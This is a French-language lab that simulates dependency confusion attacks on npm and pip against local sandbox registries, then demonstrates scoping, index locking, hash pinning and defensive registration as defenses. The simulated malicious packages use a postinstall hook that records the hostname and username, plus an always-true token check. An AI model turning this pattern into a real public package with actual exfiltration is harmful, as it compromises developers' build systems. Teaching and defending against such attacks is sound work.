Lab : Simulation d’une Attaque de Confusion de Dépendances dans un Environnement Sandbox

Vue d’ensemble

La confusion de dépendances est une attaque de la chaîne d’approvisionnement qui exploite la manière dont les gestionnaires de paquets résolvent les noms de packages lorsque des registres privés (internes) et publics sont configurés simultanément. Lorsqu’un attaquant publie un package malveillant sur un registre public en utilisant le même nom qu’un package privé interne — mais avec un numéro de version supérieur — le gestionnaire de paquets peut préférer la version publique, intégrant silencieusement du code contrôlé par l’attaquant.

Ce vecteur d’attaque a attiré une attention considérable en 2021 lorsque le chercheur en sécurité Alex Birsan l’a démontré contre Apple, Microsoft, PayPal, Tesla et des dizaines d’autres organisations. Le problème fondamental est simple : la plupart des gestionnaires de paquets choisissent par défaut la version la plus élevée disponible parmi tous les registres configurés.

Dans ce lab pratique, vous allez :

  • Mettre en place un environnement sandbox avec deux registres locaux simulant un registre « privé » et un registre « public »
  • Exécuter une attaque de confusion de dépendances dans les écosystèmes npm et pip
  • Implémenter et vérifier quatre stratégies de défense distinctes
  • Comprendre précisément pourquoi chaque défense fonctionne au niveau du protocole

Chaque commande de ce lab est conçue pour s’exécuter uniquement sur une infrastructure locale. Aucun package n’est publié sur de véritables registres publics à aucun moment.

Prérequis

Avant de commencer ce lab, assurez-vous que les éléments suivants sont installés et disponibles sur votre machine :

  • Node.js 18+ avec npm (vérifiez avec node --version et npm --version)
  • Python 3.8+ avec pip (vérifiez avec python3 --version et pip3 --version)
  • Docker (utilisé pour exécuter les instances locales de Verdaccio et pypiserver)
  • curl (pour la création d’utilisateurs sur les registres)
  • Un terminal avec bash ou zsh

Aucun compte cloud ni service externe n’est requis. L’intégralité du lab s’exécute localement sur votre poste de travail.

Avertissement de sécurité important

AVERTISSEMENT : Ce lab ne doit être exécuté que dans des environnements de test isolés. Chaque registre, package et configuration de ce lab est local. Respectez strictement ces règles :

  • Ne publiez jamais de packages de test sur les véritables registres npmjs.com ou pypi.org. Publier des packages portant des noms correspondant aux packages internes d’une autre organisation est illégal dans de nombreuses juridictions et viole les conditions d’utilisation des registres.
  • Utilisez uniquement les instances locales de Verdaccio et pypiserver comme registres « public » et « privé ». Celles-ci sont entièrement sandboxées et ne peuvent pas affecter le monde extérieur.
  • Tous les packages « publics » de ce lab sont publiés sur une seconde instance locale de Verdaccio s’exécutant sur localhost:4874. Rien ne quitte votre machine.
  • N’exécutez pas les exercices d’attaque sur des projets de production. Utilisez un répertoire de projet neuf et jetable.
  • Nettoyez tous les conteneurs et configurations une fois terminé. Laisser des fichiers .npmrc ou pip.conf mal configurés sur votre système pourrait provoquer un comportement inattendu dans vos vrais projets.

Avec ces mesures de sécurité en place, vous pouvez explorer en toute sécurité les mécanismes de cette attaque et développer une véritable intuition pour les défenses.

Configuration de l’environnement

Étape 1 : Démarrer deux instances Verdaccio

Verdaccio est un registre npm léger et open-source. Nous allons exécuter deux instances — l’une simulant le registre privé de votre organisation et l’autre simulant un registre public contrôlé par un attaquant.

# Démarrer le registre « privé » sur le port 4873
docker run -d -p 4873:4873 --name private-registry verdaccio/verdaccio

# Démarrer le registre « public » sur le port 4874
docker run -d -p 4874:4873 --name public-registry verdaccio/verdaccio

Vérifiez que les deux sont en cours d’exécution :

curl -s http://localhost:4873/ | head -5
curl -s http://localhost:4874/ | head -5

Vous devriez voir les réponses HTML des deux interfaces web Verdaccio.

Étape 2 : Créer les utilisateurs des registres

Verdaccio nécessite une authentification pour publier. Créez un utilisateur sur chaque instance :

# Ajouter un utilisateur au registre privé
npm adduser --registry http://localhost:4873
# Entrez username: testuser, password: testpass, email: test@test.com

# Ajouter un utilisateur au registre public
npm adduser --registry http://localhost:4874
# Entrez username: attacker, password: attackpass, email: attacker@test.com

Étape 3 : Créer le projet de test

mkdir -p ~/dep-confusion-lab/victim-project
cd ~/dep-confusion-lab/victim-project
npm init -y

Étape 4 : Créer et publier le package privé

mkdir -p ~/dep-confusion-lab/private-pkg
cd ~/dep-confusion-lab/private-pkg

Créez package.json :

{
  "name": "@mycompany/auth-utils",
  "version": "1.0.0",
  "description": "Internal authentication utilities",
  "main": "index.js"
}

Créez index.js :

module.exports = {
  validateToken: function(token) {
    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');
    return token && token.length > 0;
  }
};

Publiez sur le registre privé :

npm publish --registry http://localhost:4873

Étape 5 : Configurer le projet victime

Dans le répertoire du projet victime, créez un fichier .npmrc :

registry=http://localhost:4873

Ajoutez la dépendance au package.json :

{
  "name": "victim-project",
  "version": "1.0.0",
  "dependencies": {
    "@mycompany/auth-utils": "^1.0.0"
  }
}

Installez et vérifiez :

npm install
node -e "const auth = require('@mycompany/auth-utils'); auth.validateToken('abc');"

Vous devriez voir : [auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)

Exercice 1 : L’attaque — npm

Nous allons maintenant simuler ce qu’un attaquant ferait. L’observation clé : dans de nombreuses configurations réelles, les développeurs utilisent un nom de package non scopé en interne (simplement auth-utils au lieu de @mycompany/auth-utils). Cela rend l’attaque triviale.

Étape 1 : Réinitialiser le projet victime pour utiliser un nom non scopé

Mettez à jour le package.json du projet victime pour dépendre du nom non scopé :

{
  "name": "victim-project",
  "version": "1.0.0",
  "dependencies": {
    "auth-utils": "^1.0.0"
  }
}

Publiez également un auth-utils@1.0.0 non scopé sur le registre privé :

mkdir -p ~/dep-confusion-lab/private-pkg-unscoped
cd ~/dep-confusion-lab/private-pkg-unscoped
// package.json
{
  "name": "auth-utils",
  "version": "1.0.0",
  "description": "Internal authentication utilities (unscoped)",
  "main": "index.js"
}

// index.js
module.exports = {
  validateToken: function(token) {
    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');
    return token && token.length > 0;
  }
};
npm publish --registry http://localhost:4873

Étape 2 : Créer le package malveillant

mkdir -p ~/dep-confusion-lab/malicious-pkg
cd ~/dep-confusion-lab/malicious-pkg

Créez package.json — notez le numéro de version extrêmement élevé et le script postinstall :

{
  "name": "auth-utils",
  "version": "99.0.0",
  "description": "Malicious package simulating dependency confusion",
  "main": "index.js",
  "scripts": {
    "postinstall": "node malicious.js"
  }
}

Créez malicious.js — ceci simule une exfiltration de données en écrivant un fichier marqueur :

const fs = require('fs');
const os = require('os');
const path = require('path');

const marker = path.join(os.homedir(), 'dep-confusion-lab', 'ATTACK_MARKER.txt');
const data = [
  'DEPENDENCY CONFUSION ATTACK SIMULATION',
  '=======================================',
  `Timestamp: ${new Date().toISOString()}`,
  `Hostname: ${os.hostname()}`,
  `Username: ${os.userInfo().username}`,
  `Working Directory: ${process.cwd()}`,
  '',
  'In a real attack, this script could:',
  '  - Exfiltrate environment variables (API keys, tokens)',
  '  - Upload source code to an external server',
  '  - Install a reverse shell or backdoor',
  '  - Modify build outputs'
].join('\n');

fs.writeFileSync(marker, data);
console.log('[!] ATTACK SIMULATION: Marker file written to', marker);

Créez index.js :

module.exports = {
  validateToken: function(token) {
    console.log('[auth-utils v99.0.0] Validating token (PUBLIC - MALICIOUS)');
    return true; // Always returns true — a subtle backdoor
  }
};

Publiez sur le registre « public » :

npm publish --registry http://localhost:4874

Étape 3 : Configurer le fallback et déclencher l’attaque

Mettez à jour le fichier .npmrc du projet victime pour qu’il se rabatte sur le registre public lorsque les packages ne sont pas trouvés dans le registre privé. Cela reproduit une configuration courante en conditions réelles :

registry=http://localhost:4873
//localhost:4873/:_authToken="your-token-here"
//localhost:4874/:_authToken="your-token-here"

Maintenant, supprimez l’installation existante et réinstallez :

cd ~/dep-confusion-lab/victim-project
rm -rf node_modules package-lock.json
npm install auth-utils --registry http://localhost:4874

Alternativement, pour simuler de manière plus réaliste le comportement de fallback, configurez npm pour consulter les deux registres. Dans de nombreux environnements d’entreprise, un registre proxy comme Nexus ou Artifactory est configuré pour récupérer à la fois les sources privées et publiques, en privilégiant la version la plus élevée :

# Ceci simule ce que fait un registre proxy d'entreprise :
# Il voit auth-utils@1.0.0 dans le privé et auth-utils@99.0.0 dans le public,
# et retourne 99.0.0 car c'est la version la plus élevée correspondant à ^1.0.0...
# Attendez — ^1.0.0 ne correspondra pas à 99.0.0. L'attaque fonctionne quand le
# spécificateur de version est permissif (par ex. "*" ou ">=1.0.0") ou quand le proxy
# sert simplement la version la plus élevée disponible parmi tous les upstreams.

# Pour ce lab, installez directement depuis le « public » pour démontrer :
npm install auth-utils --registry http://localhost:4874

Étape 4 : Vérifier l’attaque

# Vérifier quelle version a été installée
node -e "const pkg = require('./node_modules/auth-utils/package.json'); console.log(pkg.name, pkg.version);"
# Sortie : auth-utils 99.0.0

# Vérifier si le fichier marqueur a été créé
cat ~/dep-confusion-lab/ATTACK_MARKER.txt

Vous devriez voir le marqueur d’attaque complet avec votre nom d’hôte et votre nom d’utilisateur. Le script postinstall s’est exécuté automatiquement lors du npm install — aucune interaction utilisateur requise.

Pourquoi cela s’est produit

C’est exactement la technique qu’Alex Birsan a utilisée en février 2021 pour exécuter du code à l’intérieur des systèmes de build internes d’Apple, Microsoft, Tesla, Uber, PayPal et plus de 30 autres entreprises. L’attaque fonctionne parce que :

  1. Les noms de packages non scopés existent dans un espace de noms global unique. Rien n’empêche quiconque de publier auth-utils sur npmjs.com.
  2. Les gestionnaires de paquets préfèrent la version la plus élevée. Lorsqu’un registre proxy agrège depuis plusieurs sources, la version 99.0.0 l’emporte sur 1.0.0.
  3. Les scripts de cycle de vie s’exécutent automatiquement. Le hook postinstall s’exécute avec les permissions complètes du système d’exploitation lors de l’installation.

Exercice 2 : L’attaque — pip

La même classe de vulnérabilité existe dans l’écosystème Python. Démontrons-la avec pip.

Étape 1 : Démarrer un serveur PyPI local

# Démarrer pypiserver comme PyPI « privé »
mkdir -p ~/dep-confusion-lab/pypi-private
docker run -d -p 8080:8080 --name pypi-private \
  -v ~/dep-confusion-lab/pypi-private:/data/packages \
  pypiserver/pypiserver:latest run -P . -a . /data/packages

# Démarrer un second pypiserver comme PyPI « public »
mkdir -p ~/dep-confusion-lab/pypi-public
docker run -d -p 8081:8080 --name pypi-public \
  -v ~/dep-confusion-lab/pypi-public:/data/packages \
  pypiserver/pypiserver:latest run -P . -a . /data/packages

Étape 2 : Créer et téléverser le package privé légitime

mkdir -p ~/dep-confusion-lab/py-private-pkg/internal_utils
cd ~/dep-confusion-lab/py-private-pkg

Créez setup.py :

from setuptools import setup, find_packages

setup(
    name='internal-utils',
    version='1.0.0',
    packages=find_packages(),
    description='Internal utilities (PRIVATE - LEGITIMATE)',
)

Créez internal_utils/__init__.py :

def process_data(data):
    print('[internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)')
    return data

Construisez et téléversez vers le PyPI privé :

python3 -m build
twine upload --repository-url http://localhost:8080 dist/*

Étape 3 : Créer le package public malveillant

mkdir -p ~/dep-confusion-lab/py-malicious-pkg/internal_utils
cd ~/dep-confusion-lab/py-malicious-pkg

Créez setup.py avec la version 99.0.0 :

from setuptools import setup, find_packages

setup(
    name='internal-utils',
    version='99.0.0',
    packages=find_packages(),
    description='Malicious package simulating dependency confusion',
)

Créez internal_utils/__init__.py :

import os
import datetime

def process_data(data):
    print('[internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)')
    marker_path = os.path.expanduser('~/dep-confusion-lab/PIP_ATTACK_MARKER.txt')
    with open(marker_path, 'w') as f:
        f.write(f'PIP DEPENDENCY CONFUSION ATTACK SIMULATION\n')
        f.write(f'Timestamp: {datetime.datetime.now().isoformat()}\n')
        f.write(f'Hostname: {os.uname().nodename}\n')
    return data

Construisez et téléversez vers le PyPI « public » :

python3 -m build
twine upload --repository-url http://localhost:8081 dist/*

Étape 4 : Déclencher l’attaque

# Créer un environnement virtuel pour l'isolation
cd ~/dep-confusion-lab
python3 -m venv lab-venv
source lab-venv/bin/activate

# Installer avec --extra-index-url (le schéma dangereux)
pip install internal-utils \
  --index-url http://localhost:8080/simple/ \
  --extra-index-url http://localhost:8081/simple/

Étape 5 : Vérifier

python3 -c "import internal_utils; internal_utils.process_data('test')"
# Sortie : [internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)

cat ~/dep-confusion-lab/PIP_ATTACK_MARKER.txt

Comprendre la logique de résolution de pip

La distinction critique se situe entre --index-url et --extra-index-url :

  • --index-url : Définit l’index de packages principal. pip recherche ici en premier.
  • --extra-index-url : Ajoute un index supplémentaire. pip recherche dans tous les index configurés et installe la version la plus élevée trouvée parmi tous.

Cela signifie que lorsque vous utilisez --extra-index-url, pip ne privilégie pas votre index privé — il fusionne les résultats de tous les index et choisit la version la plus élevée. Un attaquant qui publie la version 99.0.0 sur n’importe quel index configuré l’emportera.

Exercice 3 : Défense — Scoping par espace de noms (npm)

La défense la plus efficace pour npm est d’utiliser des packages scopés. Les scopes créent un espace de noms qui correspond directement à un registre spécifique, éliminant l’ambiguïté qui rend la confusion de dépendances possible.

Étape 1 : Vérifier que le package scopé existe

Nous avons déjà publié @mycompany/auth-utils@1.0.0 sur le registre privé lors de la phase de configuration. Vérifiez-le :

npm view @mycompany/auth-utils --registry http://localhost:4873

Étape 2 : Configurer le routage de registre basé sur le scope

Dans le projet victime, mettez à jour .npmrc :

@mycompany:registry=http://localhost:4873
registry=http://localhost:4874

Cette configuration indique à npm : « Pour tout package sous le scope @mycompany, utilise toujours le registre privé. Pour tout le reste, utilise le registre public. »

Étape 3 : Mettre à jour la dépendance

Mettez à jour package.json pour utiliser le nom scopé :

{
  "name": "victim-project",
  "version": "1.0.0",
  "dependencies": {
    "@mycompany/auth-utils": "^1.0.0"
  }
}

Étape 4 : Installer et vérifier

rm -rf node_modules package-lock.json
npm install
node -e "const pkg = require('./node_modules/@mycompany/auth-utils/package.json'); console.log(pkg.name, pkg.version);"
# Sortie : @mycompany/auth-utils 1.0.0

Vérifiez qu’aucun fichier marqueur n’a été créé :

ls ~/dep-confusion-lab/ATTACK_MARKER.txt 2>&1
# Sortie : No such file or directory

Pourquoi cela fonctionne

Les packages scopés sont namespacés. Le scope @mycompany est lié à un registre spécifique dans .npmrc. npm ne se rabattra jamais sur un autre registre pour les packages scopés — il envoie la requête à exactement un seul registre. Un attaquant ne peut pas publier @mycompany/auth-utils sur npmjs.com à moins de posséder l’organisation @mycompany sur npm, qui est contrôlée par votre équipe.

Exercice 4 : Défense — Verrouillage de registre (pip)

Pour Python, la défense équivalente consiste à verrouiller votre configuration pip pour n’utiliser que votre index privé, sans fallback.

Option A : Utiliser uniquement --index-url (pas d’index supplémentaires)

Créez ou mettez à jour pip.conf (Linux/macOS : ~/.config/pip/pip.conf ; Windows : %APPDATA%\pip\pip.ini) :

[global]
index-url = http://localhost:8080/simple/
# Ne PAS ajouter extra-index-url

Maintenant réinstallez :

pip install internal-utils --index-url http://localhost:8080/simple/

python3 -c "import internal_utils; internal_utils.process_data('test')"
# Sortie : [internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)

En omettant entièrement --extra-index-url, pip ne consulte que votre registre privé. Le package malveillant sur localhost:8081 n’est jamais sollicité.

Option B : Utiliser --require-hashes dans requirements.txt

Cette approche verrouille cryptographiquement chaque dépendance sur un artefact spécifique :

# D'abord, générez le hash du package légitime
pip hash ~/dep-confusion-lab/py-private-pkg/dist/internal_utils-1.0.0.tar.gz

Créez requirements.txt avec le hash :

internal-utils==1.0.0 --hash=sha256:<collez-le-hash-obtenu-ci-dessus>

Installez avec vérification du hash :

pip install -r requirements.txt \
  --index-url http://localhost:8080/simple/ \
  --extra-index-url http://localhost:8081/simple/

Même si l’index public est configuré, pip rejettera tout package dont le hash ne correspond pas. Le package malveillant v99.0.0 a un hash différent et sera refusé.

Pourquoi cela fonctionne

Le verrouillage de registre élimine la possibilité de confusion de versions en garantissant que pip ne consulte qu’une seule source de confiance. Le verrouillage par hash va plus loin — même si un attaquant compromettait votre registre privé, l’incompatibilité de hash empêcherait l’installation d’un artefact altéré.

Exercice 5 : Défense — Intégrité du fichier de verrouillage

Les fichiers de verrouillage (lockfiles) enregistrent la version exacte, l’URL source et le hash cryptographique de chaque package installé. Utilisés correctement, ils empêchent la confusion de dépendances d’affecter les builds de production.

Étape 1 : Générer un fichier de verrouillage propre

cd ~/dep-confusion-lab/victim-project
rm -rf node_modules package-lock.json
npm install

Examinez le fichier package-lock.json résultant :

cat package-lock.json | python3 -m json.tool | head -30

Recherchez les champs resolved et integrity :

"node_modules/@mycompany/auth-utils": {
  "version": "1.0.0",
  "resolved": "http://localhost:4873/@mycompany%2fauth-utils/-/auth-utils-1.0.0.tgz",
  "integrity": "sha512-abc123..."
}

Le champ resolved enregistre l’URL exacte à partir de laquelle le package a été téléchargé. Le champ integrity est un hash SRI (Subresource Integrity) de l’archive.

Étape 2 : Utiliser npm ci au lieu de npm install

La commande npm ci est conçue pour les environnements CI/CD :

# En CI, utilisez toujours :
npm ci

Différences clés avec npm install :

  • npm ci supprime node_modules et installe exactement ce qui se trouve dans package-lock.json
  • Il échouera si package-lock.json n’est pas synchronisé avec package.json
  • Il échouera si le hash d’intégrité ne correspond pas à l’archive téléchargée
  • Il ne modifie jamais package-lock.json

Si un attaquant parvenait à publier une version supérieure, npm ci installerait toujours la version exacte et le hash enregistrés dans le fichier de verrouillage.

Étape 3 : Vérification du fichier de verrouillage en pipeline CI

Ajoutez une étape à votre pipeline CI qui fait échouer le build si le fichier de verrouillage a été altéré ou n’est pas à jour. Voici un exemple avec GitHub Actions :

name: Lockfile Integrity Check

on:
  pull_request:
    paths:
      - 'package.json'
      - 'package-lock.json'

jobs:
  lockfile-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Verify lockfile is up to date
        run: |
          # Sauvegarder le hash actuel du lockfile
          BEFORE=$(sha256sum package-lock.json | cut -d' ' -f1)
          
          # Exécuter npm install (qui peut mettre à jour le lockfile)
          npm install --package-lock-only
          
          # Comparer
          AFTER=$(sha256sum package-lock.json | cut -d' ' -f1)
          
          if [ "$BEFORE" != "$AFTER" ]; then
            echo "::error::package-lock.json n'est pas synchronisé avec package.json !"
            echo "::error::Cela pourrait indiquer une altération de dépendance ou un commit manquant."
            echo "Exécutez 'npm install' localement et committez le lockfile mis à jour."
            git diff package-lock.json
            exit 1
          fi
          
          echo "Intégrité du lockfile vérifiée."

      - name: Install with npm ci
        run: npm ci

      - name: Run tests
        run: npm test

Ce workflow détecte deux scénarios : (1) un développeur a oublié de committer les modifications du lockfile après une mise à jour des dépendances, et (2) un attaquant a soumis une PR qui modifie package.json sans les mises à jour correspondantes du lockfile, introduisant potentiellement un vecteur de confusion de dépendances.

Exercice 6 : Défense — Enregistrement défensif

Une défense pragmatique utilisée par de nombreuses grandes organisations consiste à enregistrer proactivement les noms de vos packages internes sur les registres publics avant qu’un attaquant ne le fasse.

La stratégie

Si votre organisation utilise des packages internes comme auth-utils, internal-logger ou company-config, un attaquant pourrait publier des packages portant ces noms exacts sur npmjs.com ou PyPI. Pour empêcher cela, vous publiez vous-même des packages de substitution :

mkdir -p ~/dep-confusion-lab/placeholder-pkg
cd ~/dep-confusion-lab/placeholder-pkg

Créez un package.json minimal :

{
  "name": "auth-utils",
  "version": "0.0.1",
  "description": "This package name is reserved. This is a defensive registration to prevent dependency confusion attacks. If you are looking for internal auth-utils, please contact your organization's platform team.",
  "main": "index.js",
  "keywords": ["reserved", "placeholder"],
  "license": "UNLICENSED"
}

Créez un index.js minimal :

console.warn(
  'WARNING: This is a placeholder package. ' +
  'If you are seeing this message, your project may be misconfigured. ' +
  'Contact your platform team for the correct registry configuration.'
);
module.exports = {};

Dans un scénario réel, vous publieriez ceci sur le véritable registre npm public :

# UNIQUEMENT EN CONDITIONS RÉELLES (pas dans ce lab) :
# npm publish --access public

# Pour ce lab, publiez sur notre registre public simulé :
npm publish --registry http://localhost:4874

Le package de substitution garantit que si quelqu’un installe le auth-utils non scopé depuis le registre public, il obtiendra votre substitution inoffensive (à la version 0.0.1) au lieu du package malveillant d’un attaquant.

Considérations importantes

  • Maintenez la propriété : Assurez-vous que le compte npm de votre organisation publie et possède le package de substitution. Utilisez les fonctionnalités d’organisations et d’équipes de npm pour un accès multi-utilisateurs.
  • Plafond de version : Gardez le package de substitution à 0.0.1. Votre registre interne contient les véritables versions.
  • Automatisez l’inventaire : Scriptez le processus pour extraire tous les noms de packages privés de votre registre et les vérifier par rapport aux registres publics. Signalez tout nom non revendiqué sur les registres publics.
  • Combinez avec le scoping : L’enregistrement défensif est une mesure de précaution supplémentaire. La défense principale devrait rester le scoping par espace de noms et le verrouillage de registre.

Nettoyage

Après avoir terminé le lab, supprimez tous les conteneurs, fichiers et configurations :

# Arrêter et supprimer les conteneurs Docker
docker stop private-registry public-registry pypi-private pypi-public
docker rm private-registry public-registry pypi-private pypi-public

# Supprimer le répertoire du lab
rm -rf ~/dep-confusion-lab

# Désactiver l'environnement virtuel Python (si actif)
deactivate

# Supprimer les modifications .npmrc apportées à votre répertoire personnel
# (Uniquement si vous avez modifié ~/.npmrc pour ce lab)
# Restaurez votre .npmrc original si vous l'avez sauvegardé

Important : Vérifiez bien qu’aucune modification de .npmrc ou pip.conf ne subsiste pointant vers des registres localhost. Cela pourrait provoquer des erreurs déroutantes dans vos vrais projets.

Points clés à retenir

  • La confusion de dépendances exploite l’ambiguïté des espaces de noms : Lorsque les registres privés et publics partagent un espace de noms plat, un attaquant peut détourner la résolution de packages en publiant un package de version supérieure sur le registre public.
  • Le scoping par espace de noms est la défense la plus solide pour npm : Les packages scopés (@votreorg/nom-du-package) sont liés à un registre spécifique et ne peuvent pas être détournés via un fallback vers un registre public.
  • Le verrouillage de registre élimine le risque de fallback pour pip : Utiliser --index-url sans --extra-index-url garantit que pip ne consulte que votre registre privé de confiance.
  • La vérification par hash fournit des garanties cryptographiques : Tant npm ci avec vérification d’intégrité du lockfile que --require-hashes de pip rejettent tout artefact ne correspondant pas au hash attendu, quel que soit le numéro de version.
  • La discipline du fichier de verrouillage est essentielle en CI/CD : Utilisez toujours npm ci (et non npm install) dans les pipelines, et ajoutez des vérifications automatisées pour détecter les modifications inattendues du lockfile.
  • L’enregistrement défensif est une mesure complémentaire pratique : Revendiquer les noms de vos packages internes sur les registres publics empêche les attaquants de les squatter, vous laissant le temps de mettre en place des défenses structurelles plus solides.

Prochaines étapes

Maintenant que vous avez une expérience pratique des attaques de confusion de dépendances et de leurs défenses, poursuivez votre apprentissage avec ces guides approfondis :

  • Confusion de dépendances et empoisonnement d’artefacts — Un guide complet couvrant la théorie, les incidents réels et les défenses de niveau entreprise contre la confusion de dépendances et les attaques associées d’empoisonnement d’artefacts.
  • Intégrité du build et builds reproductibles — Apprenez à garantir que votre pipeline CI/CD produit des artefacts de build vérifiables et inaltérables grâce aux builds reproductibles, à la provenance SLSA et à l’attestation de la chaîne d’approvisionnement.